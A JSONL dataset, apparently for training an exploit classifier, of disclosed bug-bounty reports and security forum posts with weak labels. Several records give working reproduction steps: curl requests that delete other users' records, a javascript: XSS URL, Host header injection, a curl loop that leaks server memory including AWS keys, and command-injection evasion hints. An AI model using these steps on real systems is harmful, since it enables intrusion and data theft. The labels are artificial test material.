-{"id": "cd1cfaf72e8ef66cdbf2", "text": "[Violation of Secure Design Principles] Phishing/Malware site blocking on Brave iOS can be bypassed with trailing dot in hostname\n\n## Summary:\n\nPhishing/Malware site blocking feature on Brave iOS blocks navigation to the domains in [simple_malware.txt](https://github.com/brave/brave-ios/blob/821785db8fc71fd084a8a0b2600ff43ea7165ce9/Client/WebFilters/SafeBrowsing/Lists/simple_malware.txt).\nBut that logic doesn't care existence of a trailing dot in the hostname, so http://3e1.cn/ in the list is correctly blocked but [http://3e1.cn./](http://3e1.cn./) is not blocked.\n\nSafe browsing in Brave for PC/Mac (Chromium based) can blocks both URLs, so Brave iOS should align with it.\n\n## Products affected: \n\n* Brave iOS nightly build\n\n## Steps To Reproduce:\n\n* Enable \"Blocking Phishing and Malware\" feature on Setting\n* Open [http://3e1.cn./](http://3e1.cn./)\n\n## Supporting Material/References:\n\n  * See attached demonstration movie file\n\n## Impact\n\nUser is taken to the prohibited malware/phishing site with bypassing Brave Shield protection.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d3c5ce3bedfd61f10acb", "text": "[Violation of Secure Design Principles] String length restriction byepass at https://callerfeel.mtnonline.com/profile/feedback.html\n\n## Summary:\nHi, hope you are well :)\n\nI found that the attacker can bye pass the lenght restriction of user name at the feedback form\n\n## Steps To Reproduce:\n{F1823237}\n\n## Impact\n\nAttacker can make the receiver page to delay and can cause application level dos\n\n##Mitigation:\nRestrict the lenght of the string in backend too not only front end \n\nBest regards\n@aliyugombe", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "26dc004a643308b15b0a", "text": "[Improper Authentication - Generic] Ability to connect an external login service for unverified emails/accounts at accounts.shopify.com\n\nHi,\n\n## Description\nI have found that it is possible to add external login service even if the email address is not verified. This allows someone to create an account with an email he does not own and create some kind of backdoor accounts that would allow him to get access to shops and more.\n\nIn the external login services of the profil, it is said that **You do not have an external login service connected to your Shopify ID. Please verify your email address to connect a login service.**. So one should not be able to connect and external login account if the email was not verified.\n\n{F1051426}\n\n## Steps de reproduce\n1. Create a new account at `partners.myshopify.com` with the victim email (saltymermaid+victim@wearehackerone.com)\n\n2.  The account is created, now go to your profile at  https://accounts.shopify.com/accounts/{account_id}`\n\n3. In the external login service section or anywhere else in the page, with your browser developper console, add the following HTML snippet `<a href=\"/accounts/{victim_account_id}/external-login/1\" data-method=\"post\">Connect to Google</a>` and replace the **{victim_account_id}** with the victim's account id from the url.\n\n4. Now click on the link you injected in the page and it will bring you too the google account authentication page\n\n5. Connect to your google account or create a new one. You will be redirected to the victims account uppon success.\n\n6. Notice that the external login account was added even if the email was not verified.\n\n7. Now, on another browser, go to https://partners.shopify.com/organizations, enter the victims email address and notice that **Log in with Google** button is shown. You should be able to connect that the \"backdoor\" account.\n\n## Impact\n\nAbility to create backdoors login accounts via external login services for an account that was not verified could lead to important information disclosures. I think the chances of this happening  are low since a victim would be carreful after receiving the shopify confirmation email but in somes cases, this could lead to important leak of informations.\n\nIf you need extra details, just le me know. I will make a POC video soon.\n\nThank you.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6a979010b905f2a6abe5", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://███\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_21675\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "91626f1b90087abfee5c", "text": "[Improper Access Control - Generic] Broken access control, can lead to legitimate user data loss\n\nHi team,\nDuring testing the security of ██████████ I found another possible attack vector:\n(There are two reports preceding this one -  https://hackerone.com/reports/1489470 and  https://hackerone.com/reports/1489744)\n\nI will try to explain:\nWhen an user need access to that information system he fills a request form at:\nhttps://█████████/████████\nor\nhttps://█████████/██████\nAfter submitting the form the server response contains a █████████ which identifies this user request.\nThen  the request is reviewed by an administrator, and he decides if user access will be granted or rejected.\nThe vulnerability I found is that unauthorized person can access the end point responsible for deleting user requests - █████████ and by providing just the ███ parameter he can delete any request.\n\n## References\n\n## Impact\n\nAn attacker can delete  legitimate user requests, disturbing the normal operation  of the system and causing data loss.\nThe user request ids are sequential numbers - my requests were given ids - ████████, so the attacker can delete all requests in the system by accessing the ████ end point with each ██████ from ██████████.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n██████████\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1.  Activate Burp proxy, go to https://███/██████████, fill and submit the form (screenshot1)\n2. Inspect server response in Burp and take a note of the returned █████ (screenshot2) which is number, referencing this user access request\n3. (optional) we can confirm our request is in the system by performing the attack described in the other report I made (https://hackerone.com/reports/1489470) - resulting in our request being exfiltrated from the database:\nexecute following command, and replace the █████ parameter with the one you noted on step 2 (screenshot)\ncurl https://██████/██████████ -X POST -data=\"url=%2F████&██████████=████████\" -k\n\n4. Deleting the request - CAUTION - execute this step only by referencing ██████████ for requests, you made otherwise you will delete legitimate user request!(sceenshot4)\nthe command abusing the delete request endpoint is:\ncurl https://██████/███████████████ -X POST -data=\"url=%2F███████&███████=██████\" -k\n\n5. (optional) to confirm request is deleted you can execute again Step 3, which now responds with empty body - the request is no longer present in the database.\n\n## Suggested Mitigation/Remediation Actions\nThe ██████████ endpoint should perform check if the user is logged in and authorized to use it.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e5f6fb6343a92242bd0", "text": "[Information Disclosure] AWS keys and user cookie leakage via uninitialized memory leak in outdated librsvg version in Basecamp\n\nBasecamp supports uploading SVG pictures as avatars. Apparently, they are converted via an outdated librsvg version at Basecamp's servers. This version contains a vulnerability that allows leakage of the contents of an uninitialized memory block (that is, something is malloced, never initialized, and then used to build the preview image). Since it seems to be performed in the same unix process as the general request processing, it is possible for an attacker to steal sensitive data from this process, including basecamp configs (e.g., AWS keys) and requests of random users.\n\n## Steps to reproduce\n\n1. First, you must generate an image that triggers the vulnerability. To do so, you will need Python installed. Download the attached program F2597505 and run it like this: `python3 rsvgeb.py gen 260x260 --format bmp zalupa.png` (exactly like this). The result will be stored in the `zalupa.png` file (which is actually an SVG). The picture contains the exploit itself and carefully chosen SVG filters that make it possible to recover the original data regardless of later conversion artifacts.\n2. Second, upload the resulting image as your avatar. Login to your Basecamp account, go to your profile (click on the circle image at the top left corner, then go to \"Profile, password, ███\"), there use the \"Change your avatar button\" and select the `zalupa.png` we generated earlier. Don't forget to click on the green button \"Save my changes\" at the bottom of the page.\n3. After the avatar update, you will see the pixel image instead of the avatar. We'll use `rsvgeb.py` again to extract the information. However, the script uses ImageMagick to extract pixel data from PNG files, so you will need it installed *locally* (at the environment where the `rsvgeb.py` is ran). `apt install imagemagick -y` should be enough on Debian and Ubuntu systems. \n4. After installing ImageMagick, you must retrieve the public link to your avatar. To do this, click on your avatar with the right mouse button, and choose \"Copy image address\". After that, open the copied link in a new tab to follow the redirect. The link should change from something like `████` to something like `████████`. Copy the latter one.\n5. Now, you need to modify the link. Replace the `.avif` extension with `.png`, and the filename (the part right before the extension) with the string `$RANDOM$RANDOM$RANDOM$RANDOM`. After that, insert the link as the `curl` argument into the following command:\n\n     ```\n     while true; do curl \"████$RANDOM$RANDOM$RANDOM$RANDOM.png?v=1\" | python3 rsvgeb.py recover 260x260 - | strings -n 10 | tee -a pizda_hui_govno.txt; done\n     ```\n\n    (note how the link looks; yours should also be like this except for the user id and the signed something part).\n6. Execute the command. You will see fragments of memory from some Basecamp servers that will also accumulate in `pizda_hui_govno.txt`. Sometimes you will see trash or parts of the original SVG, but sometimes you will see fascinating pieces of information. Keep the script running for some time so you will get more sensitive memory fragments (I ran it for 48+ hours). Inspect `pizda_hui_govno.txt` to check what you have.\n\n## Impact\n\nGiven the nature of the vulnerability, the attacker does not control which kind of information she will extract. However, due to the lack of isolation between the image converter process and the main Ruby on Rails application, the extracted info might be quite sensitive.\n\nSeemingly, the most exciting fragment I came across included AWS keys and looked like this:\n\n```\n    ███\n    ██████████\n    ██████\n    █████████\n    -----END RSA PRIVATE KEY-----\n\ns3_backup:\n  access_key_id: ██████████\n  secret_access_key: █████\n\nsns:\n  access_key_id: ███████\n  secret_access_key: █████\n\nactive_record_encryption:\n  primary_key: █████████\n  deterministic_key: █████████\n  key_derivation_salt: █████\n\nnew_relic:\n  license_key: ██████\n```\n\nThat is, apparently, a fragment of some internal ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d5d129f023607da1beb5", "text": "[Information Disclosure] Sensitive Data Exposure at https://█████████\n\n**Description:**\n\nI found in the endpoint https://███/api/getEnvVars, \nsensitive data of environment variables containing: AWS S3 credentials, PATH, IP and PORTs.\n\n## References\n\nhttps://www.tenable.com/plugins/was/113164\nhttps://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html\nhttps://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html\n\n## Impact\n\nBy using leaked AWS credentials or abusing credentials with misconfigured permissions, \nan attacker could try to gain access to sensitive information on the AWS account \nor perform arbitrary modification on the AWS resources.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Enable a HTTP interception proxy, such as Burp Suite or OWASP ZAP\n2. Use a browser to navigate to: https://█████████\n3. Find the HTTP POST to https://█████████/api/getEnvVars\n4. See the response.\n\nPOC:\n\n```json\n{\"PORT\":\"8080\",\"PATH\":\"/home/vcap/app/node_modules/.bin:/home/vcap/node_modules/.bin:/home/node_modules/.bin:/node_modules/.bin:/home/vcap/deps/0/node/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin:/home/vcap/deps/0/bin:/usr/local/bin:/usr/bin:/bin:/home/vcap/app/bin:/home/vcap/deps/0/node_modules/.bin\",\"APP_SUB_DOMAIN\":\"██████\",\"DEPLOY_ENV\":\"test\",\"CF_INSTANCE_ADDR\":\"████████:61069\",\"CF_INSTANCE_IP\":\"█████████\",\"CF_INSTANCE_PORT\":\"61069\",\"HOME\":\"/home/vcap/app\",\"MEMORY_LIMIT\":\"125m\",\"PWD\":\"/home/vcap/app\",\"TMPDIR\":\"/home/vcap/tmp\",\"USER\":\"vcap\",\"VCAP_APP_HOST\":\"0.0.0.0\",\"VCAP_APP_PORT\":\"8080\",\"VCAP_APPLICATION\":\"{\\\"application_id\\\":\\\"█████████\\\",\\\"application_name\\\":\\\"████████\\\",\\\"application_uris\\\":[\\\"███\\\"],\\\"application_version\\\":\\\"███████\\\",\\\"cf_api\\\":\\\"https://api.system.██████\\\",\\\"host\\\":\\\"0.0.0.0\\\",\\\"instance_id\\\":\\\"█████████\\\",\\\"instance_index\\\":0,\\\"limits\\\":{\\\"disk\\\":3072,\\\"fds\\\":16384,\\\"mem\\\":125},\\\"name\\\":\\\"█████\\\",\\\"organization_id\\\":\\\"█████\\\",\\\"port\\\":8080,\\\"process_id\\\":\\\"███████\\\",\\\"process_type\\\":\\\"web\\\",\\\"space_id\\\":\\\"f28c5898-2473-4bf8-90e4-24d77a930603\\\",\\\"space_name\\\":\\\"CDN2-0_test\\\",\\\"uris\\\":[\\\"█████\\\"],\\\"version\\\":\\\"████\\\"}\",\"VCAP_SERVICES\":\"{\\\"aws-s3\\\":[{\\n  \\\"label\\\": \\\"aws-s3\\\",\\n  \\\"provider\\\": null,\\n  \\\"plan\\\": \\\"standard\\\",\\n  \\\"name\\\": \\\"██████\\\",\\n  \\\"tags\\\": [\\n\\n  ],\\n  \\\"instance_guid\\\": \\\"█████████\\\",\\n  \\\"instance_name\\\": \\\"█████\\\",\\n  \\\"binding_guid\\\": \\\"██████████\\\",\\n  \\\"binding_name\\\": null,\\n  \\\"credentials\\\": {\\n    \\\"access_key_id\\\": \\\"██████\\\",\\n    \\\"bucket\\\": \\\"███-████████\\\",\\n    \\\"region\\\": \\\"███\\\",\\n    \\\"secret_access_key\\\": \\\"████\\\"\\n  },\\n  \\\"syslog_drain_url\\\": null,\\n  \\\"volume_mounts\\\": [\\n\\n  ]\\n},{\\n  \\\"label\\\": \\\"aws-s3\\\",\\n  \\\"provider\\\": null,\\n  \\\"plan\\\": \\\"standard\\\",\\n  \\\"name\\\": \\\"█████\\\",\\n  \\\"tags\\\": [\\n\\n  ],\\n  \\\"instance_guid\\\": \\\"█████████\\\",\\n  \\\"instance_name\\\": \\\"███████\\\",\\n  \\\"binding_guid\\\": \\\"██████████\\\",\\n  \\\"binding_name\\\": null,\\n  \\\"credentials\\\": {\\n    \\\"access_key_id\\\": \\\"█████\\\",\\n    \\\"bucket\\\": \\\"██████████-████\\\",\\n    \\\"region\\\": \\\"██████████\\\",\\n    \\\"secret_access_key\\\": \\\"████████\\\"\\n  },\\n  \\\"syslog_drain_url\\\": null,\\n  \\\"volume_mounts\\\": [\\n\\n  ]\\n}]}\",\"s3_env_params\":{\"s3\":{\"config\":{\"credentials\":{\"expired\":false,\"expireTime\":null,\"refreshCallbacks\":[],\"accessKeyId\":\"████\"},\"credentialProvider\":{\"providers\":[null,null,null,null,null,null,null],\"resolveCallbacks\":[]},\"region\":\"████\",\"logger\":null,\"apiVersions\":{},\"apiVersion\":null,\"endpoint\":\"https://s3.amazonaws.com\",\"httpOptions\":{\"timeout\":120000,\"agent\":null},\"maxRedirects\":10,\"paramValidation\":true,\"sslEnabled\":true,\"s3ForcePathStyle\":false,\"s3BucketEndpoint\":false,\"s3DisableBodySigning\":true,\"s3UsEast1RegionalEndpoint\":\"legacy\",\"computeChecksums\":true,\"convertResponseTypes\":true,\"correctClockSkew\":false,\"customUserAgent\":null,\"dynamoDbCrc32\":true,\"systemClockOffset\":0,\"signatureVersion\":\"v4\",\"signatureCache\":true,\"retryDelayOptions\":{},\"useAccelerateEndpoint\":false,\"clientSideMonitoring\":false,\"endpointDiscoveryEnabled\":false,\"endpointCacheSize\":1000,\"hostPref", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "553332111e6accce3804", "text": "Was stuck at this for quite some time - for anyone struggling, here is (roughly) how the process of solving this one goes: Make a list of all operations you have access to - e.g search, copy, move Check which ones make network requests - this should only leave you with 2 requests to focus on . Check which parameters they have - from, to, finish etc. Don’t focus on any specific one of these parameters, I wasted quite some time on one, only to solve it with another. After you’ve decided which parameter to start testing with, you need the following - a way to start a subshell ( &&, || or ; ) and a goal (do you want to move the flag to a directory and read it, do you want to cat it’s contents? If catting - what output to - the page, or an error message?). After you’ve thought about this, craft different payloads to test. Will you obfuscate your command through base64? Or inserting quote marks between some characters? Try different things. Remember that some characters are blacklisted, so you will have to substitute them using PATH or something else, as other posters have said before. It was quite the frustrating exercise - I was super close from the get-go, but the errors threw me off and I wasted a lot of time afterwards crafting other payloads & trying commix (an automated tool for OS command injection detection ). Hope this helps someone - if you’re still stuck DM me and I might be able to give you a better nudge.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "afb00bafd80e6fb52e51", "text": "[Information Disclosure] Exposed Log File Lead to Full Internal path disclosure at [https://nextcloud.com/wp-content/debug.log]\n\nHi team ,\ni found wp-content/debug.log endpoint public accessible That lead to full path disclosure \n\nSteps : \nOpen : https://nextcloud.com/wp-content/debug.log\n\nYou can See Internal paths disclosed and date is  : 02-Nov-2022 \n\n```\n[02-Nov-2022 08:50:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined method WP_Textdomain_Registry::reset() in █████████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php:139\nStack trace:\n#0 ███████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(119): WPML\\ST\\MO\\Hooks\\LanguageSwitch->resetTranslationAvailabilityInformation()\n#1 ███plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(73): WPML\\ST\\MO\\Hooks\\LanguageSwitch->changeMoObjects()\n#2 ███plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(48): WPML\\ST\\MO\\Hooks\\LanguageSwitch->switchToLocale()\n#3 ██████class-wp-hook.php(310): WPML\\ST\\MO\\Hooks\\LanguageSwitch->languageHasSwitched()\n#4 ██████████class-wp-hook.php(332): WP_Hook->apply_filters()\n#5 ██████plugin.php(517): WP_Hook->do_action()\n#6 █████████plugins/sitepress-multilingual-cms/sitepress.class.php(1178): do_action()\n#7  in █████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php on line 139\n[02-Nov-2022 08:50:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined method WP_Textdomain_Registry::reset() in █████████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php:139\nStack trace:\n#0 ████████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(119): WPML\\ST\\MO\\Hooks\\LanguageSwitch->resetTranslationAvailabilityInformation()\n#1 ██████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(73): WPML\\ST\\MO\\Hooks\\LanguageSwitch->changeMoObjects()\n#2 ██████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(48): WPML\\ST\\MO\\Hooks\\LanguageSwitch->switchToLocale()\n#3 ██████████class-wp-hook.php(310): WPML\\ST\\MO\\Hooks\\LanguageSwitch->languageHasSwitched()\n#4 █████████class-wp-hook.php(332): WP_Hook->apply_filters()\n#5 ███████plugin.php(517): WP_Hook->do_action()\n#6 ████████plugins/sitepress-multilingual-cms/sitepress.class.php(1178): do_action()\n#7  in ███plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php on line 139\n[02-Nov-2022 08:50:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined method WP_Textdomain_Registry::reset() in ██████████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php:139\nStack trace:\n#0 ████████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(119): WPML\\ST\\MO\\Hooks\\LanguageSwitch->resetTranslationAvailabilityInformation()\n#1 ████████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(73): WPML\\ST\\MO\\Hooks\\LanguageSwitch->changeMoObjects()\n#2 ██████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php(48): WPML\\ST\\MO\\Hooks\\LanguageSwitch->switchToLocale()\n#3 ████class-wp-hook.php(310): WPML\\ST\\MO\\Hooks\\LanguageSwitch->languageHasSwitched()\n#4 ████████class-wp-hook.php(332): WP_Hook->apply_filters()\n#5 ███████plugin.php(517): WP_Hook->do_action()\n#6 ████plugins/sitepress-multilingual-cms/sitepress.class.php(1178): do_action()\n#7  in ████████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php on line 139\n[02-Nov-2022 08:50:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined method WP_Textdomain_Registry::reset() in █████plugins/wpml-string-translation/classes/MO/Hooks/LanguageSwitch.php:139\nStack trace:\n```\n\n## Impact\n\nExposed Log file lead to exposed all internal paths", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "44c35bca4386c138ff1f", "text": "On the Guided Lab: Traffic Analysis Workflow section, there really should be a highly visible message to use the provided pcap in the guided-analysis.zip resource. I tried for some time trying to capture the required network traffic for the questions on the NoMachine host but never got anything that matched up with the questions being asked. Finally diving into the provided pcap, I found it instantly. I really think that an emphasis on using those provided resources would save people a lot of headache, especially in this introduction courses.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3fce7bc2270783714438", "text": "[Uncontrolled Resource Consumption] Regular Expression Denial of Service vulnerability\n\n## Summary:\nThe vulnerability I have found is classified as a Regular Expression Denial of Service. While inspecting the source code file [RealtimeGQLSubscriptionAsync.js](https://www.redditstatic.com/desktop2x/RealtimeGQLSubscriptionAsync.226119a9ae841bb563eb.js) I came across the node_module subscriptions-transport-ws (See Screenshot 1). The search result of the [subscriptions-transport-ws package](https://www.npmjs.com/package/subscriptions-transport-ws)  on npmjs.com displayed a large deprecation warning at the top of the page (See Screenshot 2) so I decided to research further. The read-me file within the package [github repository](https://github.com/apollographql/subscriptions-transport-ws) states that the package has been largely unmaintained since 2018 and that users should migrate to graphql-ws (See Screenshot 3). Doing a [quick search in the issues tab](https://github.com/apollographql/subscriptions-transport-ws/issues?q=is%3Aissue+is%3Aclosed+vulnerability) for the keyword \"vulnerability\" I came across an issue where the github user PabloJomer pointed out that the package.json lists a vulnerable dependency called ws (See Screenshot 4) The vulnerable package is listed on the NIST National Vulnerability Database under [CVE-2021-32640](https://nvd.nist.gov/vuln/detail/CVE-2021-32640) with a Base Score of 5.3. Further details and a PoC can be found on the Snyk Vulnerability database located [here](https://security.snyk.io/vuln/SNYK-JS-WS-1296835) (See Screenshot 5).\n\nThe policy has some conflicting information so I wasn't exactly sure about what I should do about this vulnerability. The out-of-scope section states \"Previously known vulnerabilities without a working Proof of Concept\" but two sections later it is states to not attempt denial of services attacks. (See screenshot 5) The vulnerability I have found is a Regular expression denial of service but I am strictly forbidden from attempting any denial of service attacks. I believe I have clearly outlined the existence of a vulnerable dependency within you domain and if given the opportunity I could successfully execute the PoC vulnerability as described in the snyk link mentioned above.\n\n## Impact:\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\n\n## Supporting Material/References:\n[OWASP - Regular expression Denial of Service - ReDos](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n\n## Impact\n\nThe ReDos vulnerability can be used to take down your entire site.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-32640"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "81de05c9b3deb18979d5", "text": "[Unknown] Host Header Injection leads to Open Redirect and Content Spoofing or Text Injection.\n\n## Summary:\n\n1.) Open Redirection\nThe https://dashboard.omise.co/test/dashboard website is vulnerable to an Open Redirection flaw if the server receives a crafted X-Forwarded-Host header.\n\nDescription:\nOpen Redirect is a vulnerability in which the attacker manipulates a web page to redirect the users to unknown destinations (malicious/phishing destinations in most cases).\n\nSteps To Reproduce:\n\n1. Visit https://dashboard.omise.co/signin and sign in with your credentials and make sure you have not verified your email.\n2. Once you log in, you will be on this page --  https://dashboard.omise.co/test/dashboard , send the request to Repeater and add X-Forwarded-Host: bing.com below Host: dashboard.omise.co\n3. Open the request in the browser and click on \"here\" inside --> Please check your mailbox (***********@gmail.com) to confirm your email address.\nIf you did not get an email from us, please click here to request another email.\n4. It will redirect to a malicious page.\n\nPOC:\nAttached Video.\n\n  2.)  Content Spoofing or Text Injection.\nThe https://dashboard.omise.co/test/settings website is vulnerable to a Content Spoofing or Text Injection flaw if the server receives a crafted X-Forwarded-Host header.\nDescription:\nContent spoofing, also referred to as content injection, \"arbitrary text injection\" or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.\n\nSteps To Reproduce:\n\n1. Visit https://dashboard.omise.co/signin and sign in with your credentials and make sure you have not verified your email.\n2. Once you log in, go to Settings  https://dashboard.omise.co/test/settings , send the request to Repeater and add X-Forwarded-Host: bing.com below Host: dashboard.omise.co\n3. Open the request in the browser and in the Settings option under Chains mark Enable account chaining CheckBox.\n4. Once you mark the check box it will show the URL, copy that URL and paste it in the browser.\n5. It will redirect.\n\nPOC:\nAttached Video.\n\n## Impact\n\nOpen Redirection Impact - \nAn attacker can redirect users to malicious websites, which can lead to phishing attacks.\n\nContent Spoofing or Text Injection Impact - \nAn attacker can create a valid webpage with malicious recommendations and the user believes the recommendation as it was from the stock website.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "edbc9950fafe029f8a1a", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Reflected at https://sketch.pixiv.net/ Via `next_url`\n\nHi,\n\nI Found XSS Reflected at https://sketch.pixiv.net/ Via Success URL\n\n##Follow Me :)\n\n##Steps :\n1. Open the URL below:\nhttps://sketch.pixiv.net/resign_request/success?next_url=javascript%3Aalert%2F**%2F(document.domain)\n\n2. Pop ups appear :)\n\n## Impact\n\nIf an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can: Perform any action within the application that the user can perform", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4753534168f306353828", "text": "[Business Logic Errors] Business Logic, currency arbitrage - Possibility to pay less than the price in USD\n\nCurrency fluctuate all the time. Theses days EUR / USD key pair is around 1for1. It was even 1:0.99 when I was writing this report.\nPortswigger doesn't change dynamically the price and exchange rate dynamically. \n\nVulnerability at the following link: https://portswigger.net/buy/pro \n\nWhen you want to buy a product choose the currency, you can noticed they are fixed and with today difference it's quite a big difference.\n\n## Impact\n\nUSD price is 399$USD, while EUR price is 349$. \nTherefore someone could just change the price to Euro and pay 347 $USD (349 Euro) instead of 399$(with current rate).\n\nPS: It scale with the price, it could lead to thousands of dollars lost for your company.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "edf8f2a2571bf2c9d4e4", "text": "An introduction to Google Dorking\n\nHello everyone. Did you know that there is a useful tool for information gathering and recon right in your Chrome browser? Meet Google Dorking a way of searching for files or keywords in specific websites to find admin portals, unprotected files, logins, and more! Today I will teach you some basic “commands” for this tool. how to find filetypes on a specific website or keyword Using this you can find filetypes or names in a certain website. This can sometimes expose password lists, logins, and important files. To do so input this syntax: filetype:log or site:youtube.com filetype:pdf or site:https://www.google.com/ ext:pdf Show all subdirectories or subpages in a website You can use this feature to find hidden pages or just get a more detailed view of a site site:domainname or site:https//domainname/ find a specific text result in a webpage You can use a command like this to find login pages or info in the site or the sites source code intext:usernames or allintext:\"username\" \"password\" This was a tutorial on some simple Google Dorking commands. I hope that you find this helpful and have a great week! -C_J", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a08bc65750621416c43f", "text": "[Improper Access Control - Generic] [Hubs] - Broken access control in placing objects in hubs room\n\nDear team,\n\nFirst of all, thank you for all the support you already have provided. I hope the migration to HackerOne is not too hard and wish you all of the best!\n\nThis was orginally submitted on the bug bounty service of Mozilla itself: https://bugzilla.mozilla.org/show_bug.cgi?id=1829735\n\n## Summary:\nIn the settings of a hub, an admin user can disable the creation  an object or move deny to move any object. I found out that this is bypassable with the usage of certain `/<commands>` inside the chat feature. An attacker does not to be authenticated nor have joined the room to perform this attack. With some JavaScript magic, we can trick the browser thinking we are in the room, which we are not.\n\n## Requirements:\n* Two different browsers - for two accounts\n * Browser A : Admin that creates a room\n* Browser B: Attacker\n\n## Setup\nYou can skip the setup, if you want and make use of my instance: https://quikke.dev.myhubs.net/eE97EwL/quikke-test-server\n1. In Browser A, go to https://hello.dev.myhubs.net/\n2. Sign in & Create a room\n3. Join the room\n4. Click on the three dots in the right corner (More)\n5. Room info and settings and click on edit (top right)\n6. Disable the below listed settings:\n   * Create and move objects\n   * 